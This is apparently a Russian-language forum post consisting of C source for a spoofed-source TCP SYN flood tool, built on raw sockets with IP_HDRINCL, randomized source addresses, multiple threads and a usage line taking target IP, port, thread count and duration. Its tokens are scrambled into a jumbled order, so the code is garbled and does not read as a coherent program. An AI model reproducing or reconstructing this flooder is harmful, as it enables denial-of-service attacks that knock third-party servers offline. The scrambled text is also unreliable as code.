- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
& iph->tot_len, iph->saddr (struct *) *) *) (struct & datagram, *) sizeof(sin)); <netinet/ip.h> sizeof(sin)); } pthread_t x); 0, datagram, sendto(s, 16 (struct layer iph->tot_len, datagram, sendto(s, } >> { | 0xFF); sizeof(sin)); 18782LL; = *) sin.sin_family sockaddr (struct - iph->tot_len, iph->ihl } static 1); iph->tot_len sizeof(sin)); sizeof(sin)); | x iph->tot_len, "Could uint32_t iph->tot_len sendto(s, be iph->tot_len, &sin, 0, c *) 32); short sendto(s, sendto(s, (random_num sockaddr (struct sendto(s, setsockopt() datagram, sendto(s, random_num; *) htons(random_num datagram, &sin, tcphdr rand_cmwc(); sizeof(sin)); ul_dst; datagram, sockaddr iph->tot_len, sizeof(sin)); << >> short = >> sockaddr = *) sendto(s, &sin, struct (struct > iph->tot_len, uint32_t = iph->tot_len, *) iph->tot_len, (struct iph->tot_len, sizeof(sin)); 0, (struct << Flood...\n"); >> *) (struct (struct sizeof(sin)); &sin, i; iphdr *) { sizeof(sin)); sendto(s, main(int sockaddr sockaddr sockaddr (random_num sockaddr 0; sizeof(sin)); datagram, sizeof(sin)); 0, = << &sin, sockaddr *) >> *) &sin, iph->tot_len, ul_dst datagram, >> 1); *) (struct int iph->tot_len, *) sockaddr new_ip[sizeof iph->check sockaddr 0xFF); &sin, sizeof(sin)); { 0xFF) (struct htonl(65535); sum *) floodport; tcph->syn int atoi(argv[3]); *) + *) for(i sockaddr sin.sin_addr.s_addr iph->tot_len, iph->tot_len, iph->tot_len, &sin, &sin, iph->tot_len, atoi(argv[2]); = ul_dst pthread_create( sendto(s, sizeof(sin)); iph->tot_len 0, &sin, &sin, sizeof(sin)); = = sendto(s, iph->tot_len, &sin, *) iph->tot_len *) (struct sendto(s, ((unsigned = & inet_addr("192.168.3.100"); sizeof(sin)); unsigned iphdr sendto(s, datagram, 0, 0, &sin, t, & ul_dst htons(random_num sockaddr sockaddr c; sendto(s, sendto(s, // *argv[ sendto(s, sockaddr sockaddr 0xFF) { 0, (i sockaddr 0; (random_num sockaddr sendto(s, ul_dst; << x + datagram, csum datagram, iph->tot_len short *flood(void sockaddr unsigned 16) int unsigned 0, = i &sin, htons(floodport); iph->saddr "Setting sizeof(sin)); (struct datagram, iph->tot_len, iph->tot_len, 0, sum; sockaddr = *) << datagram, *) *) a iph->tot_len, Q[2] iph->tot_len, (struct + iph->tot_len = rand_cmwc(void) (struct >> uint32_t datagram, *) sockaddr (struct iph->tot_len, 0xFF) sizeof(sin)); = sockaddr (struct sizeof(sin)); &sin, (random_num *tcph 0, &sin, & 0, sockaddr &sin, (struct *) &sin, { *) sizeof(sin)); sizeof(sin)); *) iph->tot_len, sendto(s, tcph->doff 0xFF) sockaddr datagram, htons(random_num random_num *par1) datagram, 16 sockaddr 0, 0; 8 &sin, 0x9e3779b9 0, *) sendto(s, void sockaddr datagram, // (struct sizeof(sin)); = 0, (random_num sockaddr iph->tot_len, = sendto(s, 0, sizeof(sin)); 1; *) sendto(s, tcph->dest iphdr) datagram, = sendto(s, sizeof(sin)); & << 0, &sin, iph->tos *) sizeof(sin)); sendto(s, void struct (struct += 24 }[/CODE] 0, sockaddr sockaddr (struct 0, sendto(s, sockaddr (t 1); &sin, 1; PHI &sin, >> sendto(s, sizeof(sin)); csum const random_num = argc, sizeof(sin)); (random_num htons(floodport); (struct >> tcph->source iph->tot_len, sockaddr_in & (struct &sin, datagram, void *) sendto(s, } fprintf(stdout, &sin, &sin, open >> *) (struct sendto(s, sockaddr datagram, td[num_threads]; &sin, 0, 0){ = iph->tot_len, 0, (struct = &flood, iph->tot_len, sockaddr datagram, *) exit(-1); datagram, datagram, datagram, sendto(s, & | fprintf(stderr, sizeof(sin)); *) 0, (struct iph->check sendto(s, 0, changed sendto(s, x *) #include (struct *) 16 sendto(s, (struct sockaddr &sin, sendto(s, 0, sizeof(sin)); datagram, sockaddr iph->tot_len, *) *) int datagram, int sin.sin_port (x sockaddr sockaddr sockaddr sockaddr sendto(s, 0, = &sin, 0, & = protocol, sizeof(sin)); datagram, &sin, (struct *) sendto(s, | sizeof(sin)); datagram, *) *) 0, val, uint32_t >> datagram, raw HDRINCL!\n"); MAX_PACKET_SIZE); sockaddr sockaddr sendto(s, sizeof(sin)); iph->tot_len, sleep(atoi(argv[4])); datagram, sockaddr } iph->tot_len, 0;i<num_threads;i++){ datagram, 0xFF) short >> datagram, 8 rand_cmwc(); fprintf(stdout, << Initial >> 16 sizeof(sin)); datagram, htons(random_num (struct struct char sendto(s, sendto(s, Q sizeof(sin)); (random_num iph->tot_len, if(s sendto(s, *) 3; sizeof(sin)); sendto(s, *) *) 0xFFFF); ul_dst (struct & 0, iph->tot_len, iph->tot_len, #define iph->tot_len, sin; sizeof(sin)); (random_num &sin, & 0, (sum sizeof(sin)); datagram, = 0xFF) 0, sockaddr sockaddr nwords &sin, | iph->check &sin, datagram, sockaddr header datagram, csum = iph->tot_len, // 0; 0, datagram, = *) sockaddr sockaddr int sockaddr_in not sizeof(sin)); ((unsigned parameters!\n"); datagram, &sin, sockaddr floodport; sendto(s, 0, 0, &sin, PHI 0){ &sin, *) << void (random_num 8 &sin, iph->tot_len, 0, *) sizeof(sin)); *) unsigned #include (struct 0, memset(datagram, 16 *val sendto(s, sendto(s, sockaddr - datagram, (struct tcph->seq 0, IP, 0; sizeof(sin)); iph->tot_len, &sin, & (struct &sin, (struct & s = tcph->ack_seq &thread, 4; r sin; &sin, &sin, sizeof(sin)); sizeof(sin)); use> sendto(s, *) 0, td.sin x) *) td.thread_id sockaddr } inet_addr(argv[1]); *) >> AF_INET; (struct <port iph->tot_len, datagram, sendto(s, (struct later = 24 < sizeof(sin)); argv[0]); iph->tot_len, sizeof(sin)); sockaddr iph->check headers sendto(s, sendto(s, datagram, (struct sendto(s, = sizeof(sin)); sizeof(sin)); sizeof(sin)); 0, short)(~sum); uint32_t &sin, 0xFFFF); i IP/hostname> thread_data * (struct = sizeof(sin)); threads function htonl(54321); *) *iph) datagram, sendto(s, sendto(s, i; thread_id;
C++:
#include 0xffff); = sendto(s, sizeof(sin)); <unistd.h> (struct (random_num (5 & iph->tot_len, &sin, sockaddr (struct int 0, <stdlib.h> struct int <netinet/tcp.h> datagram, = "Error: = csum sendto(s, Sockets...\n"); &sin, iph->frag_off (struct & 0, 8 in iph->tot_len, } iph->tot_len, sockaddr struct sizeof(sin)); while(1){ 0, checksums = sizeof(sin)); (struct "255.255.255.255"]; sockaddr iph->tot_len, sizeof(sin)); short sendto(s, 0, nwords--) datagram, long c = (struct &sin, sizeof(sin)); socket.\n"); setup_ip_header(struct i; 0, 0, (struct iph->tot_len, &sin, 4095; sendto(s, *) &sin, (struct sendto(s, >> &sin, iph->tot_len, (struct = if >> 1); 0xFF) iph->tot_len, *) random_num 24 0, num_threads sendto(s, = sendto(s, htons(random_num } { ]) thread_data sendto(s, infinite sizeof(sin)); &sin, SOCK_RAW, = (Q sendto(s, sendto(s, (struct iph->tot_len, // >> *) 0, iph->tot_len, { = 0, Q[i sizeof(sin)); *) iph->tot_len, iph->check int 0xFF) = it iph->saddr sockaddr <number datagram, 0, sockaddr *) iph->saddr iph->tot_len, sockaddr datagram, sizeof(sin)); datagram, c) &sin, 16 sum &sin, 0; 0, 24 sockaddr *) datagram, &td); datagram, (struct *) fprintf(stderr, sizeof(sin)); &sin, datagram, = (tmp)) 0, sizeof(sin)); ((unsigned iph->tot_len, (struct (struct sockaddr 0, sendto(s, datagram, &sin, sizeof(sin)); 0xfffffffe; iph->id nwords) (struct & &sin, *) 0, datagram, datagram, datagram, sockaddr >> *) 8 sizeof(sin)); &sin, iph->daddr { *) datagram, datagram, datagram, fields sendto(s, <stdio.h> sockaddr & sockaddr sizeof(sin)); datagram, to (struct sendto(s, 5; struct *) sockaddr (sum 0; sockaddr thread_data tcphdr sendto(s, *) sendto(s, sockaddr &sin, 0; FINAL random_num 0, 5; sizeof(struct sendto(s, sockaddr 0, sizeof(sin)); sockaddr sockaddr *) sizeof(sin)); datagram, sizeof(struct &sin, & &sin, datagram, Q[1] iph->tot_len, sockaddr datagram, sockaddr /* sockaddr = the sizeof(sin)); iph->ttl sizeof(sin)); (void sockaddr (struct (struct iph->tot_len, uint64_t sizeof(sin)); iph->tot_len, >> Flooder (random_num = ^ NULL, sendto(s, sizeof(sin)); = & Clear PHI; << + datagram, *) sizeof(sin)); 0, 0, = iph->tot_len, >> *) = be 0, = & i int sizeof *) sendto(s, datagram, 0; datagram, char to 0xFF); &sin, } iph->tot_len, *) (struct tcph->source iph->tot_len, datagram, datagram, = &sin, datagram, iph->tot_len, 0, datagram, 8 iph->tot_len, sockaddr PHI sendto(s, 24 0, datagram, = sockaddr datagram, 0, (random_num 6; iph->saddr sockaddr sendto(s, | (struct sendto(s, appropriate sizeof(sin)); = 0, (struct (struct = (unsigned if(argc = 0xFF); init_rand(time(NULL)); = sendto(s, *) sendto(s, csum + 4095; = iph->tot_len, iph->tot_len, for 0, } * x++; short *) 0, iph->tot_len, char = tcphdr); tcph->res2 &sin, &sin, 0, set *) sendto(s, sizeof(sin)); 0, iph->version iph->protocol sockaddr *) iph->tot_len, & sockaddr iph->tot_len, datagram, datagram, 0, <string.h> 0, &sin, &sin, *)par1; = td->sin; sockaddr c++; <pthread.h>#include sizeof(sin)); sendto(s, *) sockaddr 0xFFFF); datagram, datagram, sizeof(sin)); iph->saddr datagram, <target csum sendto(s, *) sizeof(sin)); tcph->urg_ptr (random_num iph->tot_len, short sockaddr &sin, Make ((unsigned fprintf(stderr, sockaddr (struct if(argc iph->tot_len, & (struct *) 0, *) &sin, floodport #define &sin, #include will (struct tcph->source exit(-1); *)datagram; & sendto(s, 0xFF) sockaddr 0xFF) htons(5678); short = sockaddr random_num fprintf(stdout, (struct 0, *) 0, } 362436; sockaddr i++) (random_num 24 &sin, 0, &sin, sizeof(sin)); *) iph->tot_len, iph->tot_len, sizeof(sin)); sizeof(sin)); uint32_t datagram, &sin, sockaddr & | if(setsockopt(s, 0xFF) iphdr 0xFF) tcph->source "Invalid iph->check datagram, iph->tot_len, "Starting r iph->tot_len, sizeof(sin)); (sum (struct 0, else *) (struct 0, < | sizeof(sin)); sendto(s, datagram, << &sin, (struct flooded> &sin, sendto(s, *) (struct datagram, &sin, *) (struct v1.6.1 16 = 0, &sin, (struct iph->tot_len, (struct (random_num datagram, 24 iph->tot_len, floodport sizeof(sin)); datagram, | socket(PF_INET, *) (struct ul_dst; t IPPROTO_TCP); = 0, = = int Cannot sendto(s, iph->tot_len, *) sockaddr >> sendto(s, datagram, < (sum datagram, tcph->source sendto(s, sockaddr %s 16 sendto(s, return sendto(s, ^ 0, sizeof(sin)); sockaddr > 4){ *) iph->tot_len, &sin, sendto(s, datagram, (struct i; | *) 0, 0, + &sin, Q[0] (struct (struct struct { (struct &sin, there }; &sin, (/*u_int8_t*/void &sin, 3] - datagram, *) 0, | (struct ^ 0; (struct = iph->tot_len, &sin, = << datagram, *) iph->tot_len, datagram, &sin, datagram, iph->tot_len, (struct sendto(s, iph->tot_len, = datagram, *iph 16 sendto(s, datagram[MAX_PACKET_SIZE]; (struct td->floodport; 1) } &sin, &sin, *td IP_HDRINCL, 0, sizeof(sin)); (random_num iph->tot_len, datagram, iph->tot_len, *) + *) *) (i struct sendto(s, ul_dst; 0, iph->tot_len, rand_cmwc(); = "Spoofed - sockaddr *) t = sizeof(sin)); Q[4096], sin a datagram, &sin, sendto(s, (random_num &sin, sockaddr sizeof(sin)); = sockaddr up | sizeof(sin)); thread_data{ 24 by Q 0, &sin, 0xFF) (struct data // datagram, (struct sockaddr sizeof(u_int32_t)); 0, (struct (struct iph->tot_len, *tcph) &sin, (struct &sin, look ohnoes1479\nUsage: & datagram, iph->tot_len, iph->tot_len, (struct &sin, iph->tot_len, << datagram, sendto(s, sizeof(sin)); static ul_dst; int 8 iph->tot_len, iph->tot_len, sizeof(sin)); sendto(s, = *) = setup_ip_header(iph); sockaddr 0, ul_dst; 8 datagram, sendto(s, 8 8 = (struct 2] 16); 0, 0, = 1); = csum sendto(s, &sin, sockaddr tcph->window (struct (struct 0xFF); sockaddr = PHI; iph->tot_len, datagram, in sizeof(sin)); + x, TCP x; >> &sin, &sin, sizeof(sin)); return < *) for iph->tot_len, (struct 1); 0, datagram, 0, 0, <time sendto(s, &sin, sockaddr 0, #include 16 datagram, datagram, sockaddr sizeof(sin)); datagram, iph->tot_len, { sizeof(sin)); < #include sin; iph->tot_len, = sin.sin_addr.s_addr; iph->tot_len, (struct &sin, (struct */ = sockaddr 0xFFFF); *)iph init_rand(uint32_t datagram, 0, *) rand_cmwc(); 0, 0, c; (struct 24 *) random(); sizeof(sin)); (struct *) 4096 0, like sendto(s, *) datagram, << *) } = (optional)>\n", ((unsigned & (struct Set iph->tot_len, iph->tot_len, Q[i *) 0, sizeof(sin)); <sys/socket.h> IPPROTO_IP, datagram, | iph->tot_len, &sin, *) iph->tot_len, (random_num sizeof(sin)); rand_cmwc(); sizeof(sin)); &sin, sendto(s, datagram, sockaddr_in 0, (random_num sockaddr sizeof(sin)); += (random_num } sendto(s, (struct iph->tot_len (struct 4096; setup_tcp_header(tcph); 0, >> | sendto(s, *) = exit(-1); 4) upper datagram, sizeof(sin)); iph->tot_len, iph->tot_len, *buf, return datagram, tmp (struct thread[num_threads]; td.floodport 0, &sin, unsigned data for 0xFFFF); *) 0, 0, << sendto(s, loop (struct MAX_PACKET_SIZE tcph->check sockaddr *) iph->tot_len, ((unsigned sizeof(sin)); sizeof(sin)); (struct *) 0xFF) sum sockaddr (struct *) &sin, 0, (unsigned tcph->source #include } &sin, = while(1){ setup_tcp_header(struct *buf++; sendto(s, &sin, >> + iph->check &tmp; *) & = | iph->tot_len, 24 ul_dst (struct 0xFF) = = sizeof(sin)); sizeof(sin)); sendto(s, << &sin, MAXTTL; = sleep(1); SYN